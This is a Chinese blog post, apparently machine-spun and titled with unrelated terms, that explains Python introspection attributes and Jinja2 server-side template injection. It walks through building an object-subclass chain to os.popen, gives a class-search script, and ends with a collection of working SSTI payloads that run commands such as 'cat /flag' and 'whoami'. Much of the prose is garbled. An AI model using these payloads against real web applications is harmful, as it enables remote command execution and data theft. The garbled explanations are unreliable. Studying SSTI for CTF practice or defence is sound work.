首页 > 编程知识 正文

nsnotification原理,colmap原理

时间:2023-05-05 07:29:07 阅读:151273 作者:2907

内置方法和属性某些对象类型具有内置的可读属性,不会以dir ()枚举。

属性/方法描述instance._class_类实例所属的类class._bases_类对象,以及类也是对象的基类组definition._name_类class._mro_此属性是在解析方法时搜索基类时考虑的群集元组。 class._subclasses_ ()每个类直接包含一个对子类的弱引用列表。 此方法返回所有存活引用的列表。 清单按照定义顺序排列。 包含module._dict_标识符名称及其引用_builtins_的模块的符号表的词典通常由模块作为全局变量来提供,其值或builtins模块的参考,或其模块对于builtins模块,可以直接访问Python的所有“内置”标识符,例如open函数builtins.open ()。 此变量有助于定义与内置函数同名的模块,并且可以访问内置同名的函数。 还可以修改特定标识符的作用。 确定模块中的_builtins_:__builtins__变量是对builtins模块的引用,以及sys模块中是否引入了builtins模块。 sys模块由Python/sysmodule.c编译,直接或间接编译sys模块由c程序编译,但没有__builtins__变量。

__builtins__的值是当前模块引用的builtins模块。

_ _ builtins _ _ module ' builtins ' (built-in ) module.__builtins__的值是指定模块的所有标识符的词典,_ _ dict _ dict

OS._ _ builtins _ _ [ ' timeouterror ' ] class ' timeouterror '属性/方法描述_import_ ()内置函数。 importlib包下的_bootstrap method._globals_指定方法的全局名称空间。 与dir (,globals )相同。 http://www.Sina.com/object._ new _ (cls […] )对象的内置方法。 在创建新实例时会自动调用它,以定制实例的创建过程。 传递的对象所属的类,其馀参数具有相同的构造函数参数,并且此方法返回一个实例。 只有当此方法返回实例时,才会调用对象的内置_init_ ()。 object._init_(self[…] )对象的内置方法。 _new_ ()之后,在将实例返回给调用者之前调用。 如果基类具有自定义__init__ (),请添加super(.__init_([…] )以初始化基类的部分。 此方法返回的值只有None。 如果返回非None值,则会抛出TypeError。 Python本质上是动态的而不是静态的。 虚拟机具有变量的可寻址名称空间,而不是编译的对象代码中的符号表。

DIR(/DIR ) ) module ) :返回当前有效的命名空间,返回字典,并且每个键值对都与变量及其值相对应。

globals () :返回变量名称及其变量值的词典。 在范围内被视为全局。

返回locals ()变量名称及其变量值的词典。 在范围内被视为本地。

原理SSTI的原理是在服务器端接收用户可以控制的数据,并将其作为参数值传递给模板引擎。 如果这些数据是python代码字符串,则会作为代码执行。

模板引擎分析的文本如下所示。

h1{4*2}/h1{}是模板式,执行并输出中的式的内容。 以上结果如下

如果可以在将文本传递到h18/h1模板引擎进行分析之前修改文本,则添加其他可以执行python代码的模板语法(如模板表达式)将会注入代码。 例如

text=' h1 % s ' % input render _ template _ string (text ) input控件,注入模板表达式,无声的棉花糖添加代码:

input='{{ 7*2 }}' text应类似于以下内容:

text='h1{{ 7*2 }}/h1 '传递给模板引擎进行分析。

render_template_string(text )首先利用构建可以执行函数的payload的方法。 此处的函数可以使用任何功能,如popen )、subprocess )等,如果要执行系统命令。 如果想读取文件,可以调用open (函数。

)1)不管最终想执行什么样的函数,payload的前面部分一般都想得到基类object的所有子类

'._ _ class _._ _ _ base _ _._ _ subclasses _ (

)

解释:

''是一个对象,__class__是这个对象所属的类,__base__是指定类的基类(父类),__subclasses__()是Object类的静态方法,返回它的所有子类,包含在一个字典中,键是类名,值是类的引用。

(2)现在我们拿到了所有继承Object类的子类的引用,在调用这些子类的方法时,如果命名空间没有这个类,解析器就会尝试导入包含这个类的模块,例如有个子类叫os._AddedDllDirectory:

>>> ''.__class__.__base__.__subclasses__()[139]<class 'os._AddedDllDirectory>

os就是它的模块名,解析器就会尝试去加载并执行os模块的代码,但不会把os这个变量放进命名空间中(说到底,import os的os变量保存是模块的地址,换句话说,命名空间保存的是存储地址的变量,这个地址有可能指向一个值,一个类,一个函数,或者一个模块,总之是一块代码的首地址)。

(3)在解析器加载并执行某个模块的代码时,例如os模块的代码,里面又导入了其它的模块(import sys),这些模块与os定义了一些变量,函数和类,解析器把它们添加到当前的命名空间,接下来通过__globals__获得当前的命名空间,不过它需要一个方法作为调用者,这里我们选一些魔术方法,因为它们的方法名固定,例如__init__、__enter__或__exit__等等。

再补充payload:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__

(4)因为os模块的执行,导致sys模块的导入(import sys),也就是说当前的命名空间有了sys这个变量,它保存了sys模块的地址,通过这个变量可以调用它里面(与变量绑定在一起)的方法、类等成员,sys模块里面有个modules字典,它保存的是已加载模块**(已加载但未必在命名空间有对应的变量)**的名称与其地址的映射。

还可以通过给 sys.modules 这个字典加入元素,以强制加载某个模块。

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os']

(5)拿到os模块的地址后,就可以使用里面的方法了,其中有个popen方法就是想利用的方法,通过它执行shell命令:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls') >>> ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls')<os._wrap_close object at 0x000001E29281A580>

(6)popen()返回一个输出流,通过read()读取里面的数据:

''.__class__.__base__.__subclasses__()[139].__init__.__globals__['sys'].modules['os'].popen('ls').read() 总结利用思路

(1)明确要利用的目标函数;

(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。

(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。

(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)

(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)

(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。

一般来说,可以利用的函数有:open(), popen(), subprocess(), system()

总之,构造payload的思路是曲折的,能利用的属性、变量、函数、类等成员很多,调用过程曲折,自由发挥的空间比较大。

附带脚本 # 用于搜索想利用的目标函数所在的类search = 'popen'num = -1for c in ''.__class__.__base__.__subclasses__()num += 1 try: if search in c.__init__.globals__.keys(): print(c, num) except: pass payload的收集 {{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}// os._wrap_close类中的popen{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}// __import__方法{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}// __builtins__{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}// Jinja2创建的url_for()方法{{url_for.__globals__.os.popen("cat /flag").read()}}

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。